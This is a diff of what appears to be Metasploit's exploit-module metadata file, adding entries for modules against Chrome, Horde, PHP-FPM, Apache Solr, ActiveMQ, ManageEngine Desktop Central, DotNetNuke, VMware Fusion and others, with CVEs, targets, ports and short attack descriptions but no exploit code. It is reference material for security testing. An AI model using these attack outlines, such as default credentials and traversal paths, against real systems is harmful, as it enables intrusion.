"URL-https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Windows 10 - Google Chrome 80.0.3987.87 (64 bit)",
|
||||
"macOS - Google Chrome 80.0.3987.87 (64 bit)"
|
||||
],
|
||||
"mod_time": "2020-03-04 21:23:53 +0000",
|
||||
"path": "/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/chrome_jscreate_sideeffect",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/browser/chrome_object_create": {
|
||||
"name": "Google Chrome 67, 68 and 69 Object.create exploit",
|
||||
"fullname": "exploit/multi/browser/chrome_object_create",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2018-09-25",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"saelo",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This modules exploits a type confusion in Google Chromes JIT compiler.\n The Object.create operation can be used to cause a type confusion between a\n PropertyArray and a NameDictionary.\n The payload is executed within the rwx region of the sandboxed renderer\n process, so the browser must be run with the --no-sandbox option for the\n payload to work.",
|
||||
"references": [
|
||||
"CVE-2018-17463",
|
||||
"URL-http://www.phrack.org/papers/jit_exploitation.html",
|
||||
"URL-https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce",
|
||||
"URL-https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf",
|
||||
"URL-https://bugs.chromium.org/p/chromium/issues/detail?id=888923"
|
||||
],
|
||||
"platform": "OSX,Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-02-15 06:09:55 +0000",
|
||||
"path": "/modules/exploits/multi/browser/chrome_object_create.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/chrome_object_create",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/browser/firefox_escape_retval": {
|
||||
"name": "Firefox 3.5 escape() Return Value Memory Corruption",
|
||||
"fullname": "exploit/multi/browser/firefox_escape_retval",
|
||||
@@ -68499,7 +68952,7 @@
|
||||
"Cisco DCNM 11.0(1)",
|
||||
"Cisco DCNM 10.4(2)"
|
||||
],
|
||||
"mod_time": "2019-08-29 12:42:01 +0000",
|
||||
"mod_time": "2020-03-12 17:08:33 +0000",
|
||||
"path": "/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/cisco_dcnm_upload_2019",
|
||||
@@ -69337,7 +69790,7 @@
|
||||
"targets": [
|
||||
"Automatic Target"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-03-24 08:47:21 +0000",
|
||||
"path": "/modules/exploits/multi/http/freenas_exec_raw.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/freenas_exec_raw",
|
||||
@@ -69883,6 +70336,55 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/horde_csv_rce": {
|
||||
"name": "Horde CSV import arbitrary PHP code execution",
|
||||
"fullname": "exploit/multi/http/horde_csv_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-02-07",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Andrea Cardaci <cyrus.and@gmail.com>"
|
||||
],
|
||||
"description": "The Horde_Data module version 2.1.4 (and before) present in Horde\n Groupware version 5.2.22 allows authenticated users to inject\n arbitrary PHP code thus achieving RCE on the server hosting the web\n application.",
|
||||
"references": [
|
||||
"CVE-2020-8518",
|
||||
"URL-https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/"
|
||||
],
|
||||
"platform": "PHP",
|
||||
"arch": "php",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-03-23 07:28:04 +0000",
|
||||
"path": "/modules/exploits/multi/http/horde_csv_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/horde_csv_rce",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/horde_form_file_upload": {
|
||||
"name": "Horde Form File Upload Vulnerability",
|
||||
"fullname": "exploit/multi/http/horde_form_file_upload",
|
||||
@@ -71131,7 +71633,7 @@
|
||||
"targets": [
|
||||
"Automatic Targeting"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-03-24 08:47:21 +0000",
|
||||
"path": "/modules/exploits/multi/http/magento_unserialize.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/magento_unserialize",
|
||||
@@ -73241,6 +73743,70 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/php_fpm_rce": {
|
||||
"name": "PHP-FPM Underflow RCE",
|
||||
"fullname": "exploit/multi/http/php_fpm_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2019-10-22",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"neex",
|
||||
"cdelafuente-r7"
|
||||
],
|
||||
"description": "This module exploits an underflow vulnerability in versions 7.1.x\n below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on\n Nginx. Only servers with certains Nginx + PHP-FPM configurations are\n exploitable. This is a port of the original neex's exploit code (see\n refs.). First, it detects the correct parameters (Query String Length\n and custom header length) needed to trigger code execution. This step\n determines if the target is actually vulnerable (Check method). Then,\n the exploit sets a series of PHP INI directives to create a file\n locally on the target, which enables code execution through a query\n string parameter. This is used to execute normal payload stagers.\n Finally, this module does some cleanup by killing local PHP-FPM\n workers (those are spawned automatically once killed) and removing\n the created local file.",
|
||||
"references": [
|
||||
"CVE-2019-11043",
|
||||
"EDB-47553",
|
||||
"URL-https://github.com/neex/phuip-fpizdam",
|
||||
"URL-https://bugs.php.net/bug.php?id=78599",
|
||||
"URL-https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"PHP",
|
||||
"Shell Command"
|
||||
],
|
||||
"mod_time": "2020-03-06 17:38:37 +0000",
|
||||
"path": "/modules/exploits/multi/http/php_fpm_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/php_fpm_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-restarts"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/php_utility_belt_rce": {
|
||||
"name": "PHP Utility Belt Remote Code Execution",
|
||||
"fullname": "exploit/multi/http/php_utility_belt_rce",
|
||||
@@ -73832,6 +74398,55 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/phpstudy_backdoor_rce": {
|
||||
"name": "PHPStudy Backdoor Remote Code execution",
|
||||
"fullname": "exploit/multi/http/phpstudy_backdoor_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-09-20",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Dimensional",
|
||||
"Airevan"
|
||||
],
|
||||
"description": "This module can detect and exploit the backdoor of PHPStudy.",
|
||||
"references": [
|
||||
"URL-https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html"
|
||||
],
|
||||
"platform": "PHP",
|
||||
"arch": "php",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"PHPStudy 2016-2018"
|
||||
],
|
||||
"mod_time": "2020-03-05 10:24:22 +0000",
|
||||
"path": "/modules/exploits/multi/http/phpstudy_backdoor_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/phpstudy_backdoor_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/phptax_exec": {
|
||||
"name": "PhpTax pfilez Parameter Exec Remote Code Injection",
|
||||
"fullname": "exploit/multi/http/phptax_exec",
|
||||
@@ -75124,6 +75739,67 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/solr_velocity_rce": {
|
||||
"name": "Apache Solr Remote Code Execution via Velocity Template",
|
||||
"fullname": "exploit/multi/http/solr_velocity_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-10-29",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"s00py",
|
||||
"jas502n",
|
||||
"AleWong",
|
||||
"Imran E. Dawoodjee <imran@threathounds.com>"
|
||||
],
|
||||
"description": "This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom\n Velocity template. Currently, this module only supports Solr basic authentication.\n\n From the Tenable advisory:\n An attacker could target a vulnerable Apache Solr instance by first identifying a list\n of Solr core names. Once the core names have been identified, an attacker can send a specially crafted\n HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response\n Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity\n template parameter in a specially crafted Solr request, leading to RCE.",
|
||||
"references": [
|
||||
"EDB-47572",
|
||||
"CVE-2019-17558",
|
||||
"URL-https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability",
|
||||
"URL-https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html",
|
||||
"URL-https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/",
|
||||
"URL-https://github.com/jas502n/solr_rce",
|
||||
"URL-https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template"
|
||||
],
|
||||
"platform": "Linux,Unix,Windows",
|
||||
"arch": "",
|
||||
"rport": 8983,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix (in-memory)",
|
||||
"Linux (dropper)",
|
||||
"x86/x64 Windows PowerShell",
|
||||
"x86/x64 Windows CmdStager",
|
||||
"Windows Exec"
|
||||
],
|
||||
"mod_time": "2020-03-29 00:33:24 +0000",
|
||||
"path": "/modules/exploits/multi/http/solr_velocity_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/solr_velocity_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/sonicwall_gms_upload": {
|
||||
"name": "SonicWALL GMS 6 Arbitrary File Upload",
|
||||
"fullname": "exploit/multi/http/sonicwall_gms_upload",
|
||||
@@ -76787,7 +77463,7 @@
|
||||
"targets": [
|
||||
"Trend Micro Threat Discovery Appliance 2.6.1062r1"
|
||||
],
|
||||
"mod_time": "2017-09-07 21:18:50 +0000",
|
||||
"mod_time": "2020-03-24 08:47:21 +0000",
|
||||
"path": "/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi",
|
||||
@@ -78829,6 +79505,53 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/misc/ibm_tm1_unauth_rce": {
|
||||
"name": "IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/multi/misc/ibm_tm1_unauth_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-12-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Pedro Ribeiro <pedrib@gmail.com>",
|
||||
"Gareth Batchelor <gbatchelor@cloudtrace.com.au>"
|
||||
],
|
||||
"description": "This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows\n an unauthenticated attacker to perform a configuration overwrite.\n It starts by querying the Admin server for the available applications, picks one,\n and then exploits it. You can also provide an application name to bypass this step,\n and exploit the application directly.\n The configuration overwrite is used to change an application server authentication\n method to \"CAM\", a proprietary IBM auth method, which is simulated by the exploit.\n The exploit then performs a fake authentication as admin, and finally abuses TM1\n scripting to perform a command injection as root or SYSTEM.\n Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.\n Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions\n earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).",
|
||||
"references": [
|
||||
"CVE-2019-4716",
|
||||
"URL-https://www.ibm.com/support/pages/node/1127781",
|
||||
"URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-tm1-rce.txt",
|
||||
"URL-https://seclists.org/fulldisclosure/2020/Mar/44"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 5498,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Windows",
|
||||
"Windows (Command)",
|
||||
"Linux",
|
||||
"Linux (Command)",
|
||||
"AIX (Command)"
|
||||
],
|
||||
"mod_time": "2020-03-30 12:49:58 +0000",
|
||||
"path": "/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/ibm_tm1_unauth_rce",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/misc/indesign_server_soap": {
|
||||
"name": "Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution",
|
||||
"fullname": "exploit/multi/misc/indesign_server_soap",
|
||||
@@ -80800,7 +81523,7 @@
|
||||
"Linux",
|
||||
"Mac OS X"
|
||||
],
|
||||
"mod_time": "2020-02-19 09:32:34 +0000",
|
||||
"mod_time": "2020-03-13 09:52:25 +0000",
|
||||
"path": "/modules/exploits/multi/script/web_delivery.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/script/web_delivery",
|
||||
@@ -82494,6 +83217,53 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_osx/local/vmware_fusion_lpe": {
|
||||
"name": "VMware Fusion USB Arbitrator Setuid Privilege Escalation",
|
||||
"fullname": "exploit/osx/local/vmware_fusion_lpe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-03-17",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die",
|
||||
"Dhanesh Kizhakkinan",
|
||||
"Rich Mirch",
|
||||
"jeffball <jeffball@dc949.org>",
|
||||
"grimm"
|
||||
],
|
||||
"description": "This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.\n The Open VMware USB Arbitrator Service can be launched outide of its standard path\n which allows loading of an attacker controlled binary. By creating a payload in the\n user home directory in a specific folder, and creating a hard link to the 'Open VMware\n USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload\n with an effective UID of 0.\n @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.\n Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.",
|
||||
"references": [
|
||||
"CVE-2020-3950",
|
||||
"EDB-48235",
|
||||
"URL-https://www.vmware.com/security/advisories/VMSA-2020-0005.html",
|
||||
"URL-https://twitter.com/jeffball55/status/1242530508053110785?s=20",
|
||||
"URL-https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt"
|
||||
],
|
||||
"platform": "OSX",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2020-04-02 11:30:59 +0000",
|
||||
"path": "/modules/exploits/osx/local/vmware_fusion_lpe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/local/vmware_fusion_lpe",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_osx/mdns/upnp_location": {
|
||||
"name": "Mac OS X mDNSResponder UPnP Location Overflow",
|
||||
"fullname": "exploit/osx/mdns/upnp_location",
|
||||
@@ -84828,6 +85598,56 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_unix/local/opensmtpd_oob_read_lpe": {
|
||||
"name": "OpenSMTPD OOB Read Local Privilege Escalation",
|
||||
"fullname": "exploit/unix/local/opensmtpd_oob_read_lpe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 200,
|
||||
"disclosure_date": "2020-02-24",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Qualys",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits an out-of-bounds read of an attacker-controlled\n string in OpenSMTPD's MTA implementation to execute a command as the\n root or nobody user, depending on the kind of grammar OpenSMTPD uses.",
|
||||
"references": [
|
||||
"CVE-2020-8794",
|
||||
"URL-https://seclists.org/oss-sec/2020/q1/96"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"OpenSMTPD < 6.6.4 (automatic grammar selection)"
|
||||
],
|
||||
"mod_time": "2020-03-03 16:50:39 +0000",
|
||||
"path": "/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/local/opensmtpd_oob_read_lpe",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/local/setuid_nmap": {
|
||||
"name": "Setuid Nmap Exploit",
|
||||
"fullname": "exploit/unix/local/setuid_nmap",
|
||||
@@ -85286,7 +86106,7 @@
|
||||
"wvu <wvu@metasploit.com>",
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "This module exploits a command injection in the MAIL FROM field during\n SMTP interaction with OpenSMTPD to execute a command as the root user.",
|
||||
"description": "This module exploits a command injection in the MAIL FROM field during\n SMTP interaction with OpenSMTPD to execute a command as the root user.",
|
||||
"references": [
|
||||
"CVE-2020-7247",
|
||||
"URL-https://seclists.org/oss-sec/2020/q1/40"
|
||||
@@ -85301,9 +86121,9 @@
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"OpenSMTPD >= commit a8e222352f"
|
||||
"OpenSMTPD < 6.6.1"
|
||||
],
|
||||
"mod_time": "2020-03-02 14:15:52 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/smtp/opensmtpd_mail_from_rce",
|
||||
@@ -91687,7 +92507,7 @@
|
||||
"targets": [
|
||||
"InfiniteWP Client < 1.9.4.5"
|
||||
],
|
||||
"mod_time": "2020-03-02 14:15:52 +0000",
|
||||
"mod_time": "2020-03-03 13:22:01 +0000",
|
||||
"path": "/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/webapp/wp_infinitewp_auth_bypass",
|
||||
@@ -111534,7 +112354,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2019-08-15 18:10:44 +0000",
|
||||
"mod_time": "2020-03-24 08:47:21 +0000",
|
||||
"path": "/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/fileformat/nitro_reader_jsapi",
|
||||
@@ -117211,6 +118031,57 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/apache_activemq_traversal_upload": {
|
||||
"name": "Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload",
|
||||
"fullname": "exploit/windows/http/apache_activemq_traversal_upload",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2015-08-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"David Jorm",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache\n ActiveMQ 5.x before 5.11.2 for Windows.\n\n The module tries to upload a JSP payload to the /admin directory via the traversal\n path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ\n credentials admin:admin (or other credentials provided by the user). It then issues\n an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the\n payload and obtain a shell.",
|
||||
"references": [
|
||||
"CVE-2015-1830",
|
||||
"EDB-40857",
|
||||
"URL-https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": 8161,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Java"
|
||||
],
|
||||
"mod_time": "2020-03-05 15:03:05 +0000",
|
||||
"path": "/modules/exploits/windows/http/apache_activemq_traversal_upload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/apache_activemq_traversal_upload",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/apache_chunked": {
|
||||
"name": "Apache Win32 Chunked Encoding",
|
||||
"fullname": "exploit/windows/http/apache_chunked",
|
||||
@@ -118118,6 +118989,72 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/desktopcentral_deserialization": {
|
||||
"name": "ManageEngine Desktop Central Java Deserialization",
|
||||
"fullname": "exploit/windows/http/desktopcentral_deserialization",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-03-05",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"mr_me",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits a Java deserialization vulnerability in the\n getChartImage() method from the FileStorage class within ManageEngine\n Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.\n\n \"The short-term fix for the arbitrary file upload vulnerability was\n released in build 10.0.474 on January 20, 2020. In continuation of that,\n the complete fix for the remote code execution vulnerability is now\n available in build 10.0.479.\"",
|
||||
"references": [
|
||||
"CVE-2020-10189",
|
||||
"URL-https://srcincite.io/advisories/src-2020-0011/",
|
||||
"URL-https://srcincite.io/pocs/src-2020-0011.py.txt",
|
||||
"URL-https://twitter.com/steventseeley/status/1235635108498948096",
|
||||
"URL-https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 8383,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Command",
|
||||
"Windows Dropper",
|
||||
"PowerShell Stager"
|
||||
],
|
||||
"mod_time": "2020-03-13 17:36:05 +0000",
|
||||
"path": "/modules/exploits/windows/http/desktopcentral_deserialization.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/desktopcentral_deserialization",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"PatchedVersion": "100474",
|
||||
"Stability": [
|
||||
"service-resource-loss"
|
||||
],
|
||||
"Reliability": [
|
||||
"first-attempt-fail"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/desktopcentral_file_upload": {
|
||||
"name": "ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload",
|
||||
"fullname": "exploit/windows/http/desktopcentral_file_upload",
|
||||
@@ -118472,6 +119409,66 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/dnn_cookie_deserialization_rce": {
|
||||
"name": "DotNetNuke Cookie Deserialization Remote Code Excecution",
|
||||
"fullname": "exploit/windows/http/dnn_cookie_deserialization_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2017-07-20",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Jon Park",
|
||||
"Jon Seigel"
|
||||
],
|
||||
"description": "This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.\n Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.\n The expected structure includes a \"type\" attribute to instruct the server which type of object to create on deserialization.\n The cookie is processed by the application whenever it attempts to load the current user's profile data.\n This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).\n An attacker can leverage this vulnerability to execute arbitrary code on the system.",
|
||||
"references": [
|
||||
"CVE-2017-9822",
|
||||
"CVE-2018-15811",
|
||||
"CVE-2018-15812",
|
||||
"CVE-2018-18325",
|
||||
"CVE-2018-18326",
|
||||
"URL-https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf",
|
||||
"URL-https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html",
|
||||
"URL-https://github.com/pwntester/ysoserial.net"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic",
|
||||
"v5.0 - v9.0.0",
|
||||
"v9.0.1 - v9.1.1",
|
||||
"v9.2.0 - v9.2.1",
|
||||
"v9.2.2 - v9.3.0-RC"
|
||||
],
|
||||
"mod_time": "2019-09-11 15:17:06 +0000",
|
||||
"path": "/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/dnn_cookie_deserialization_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
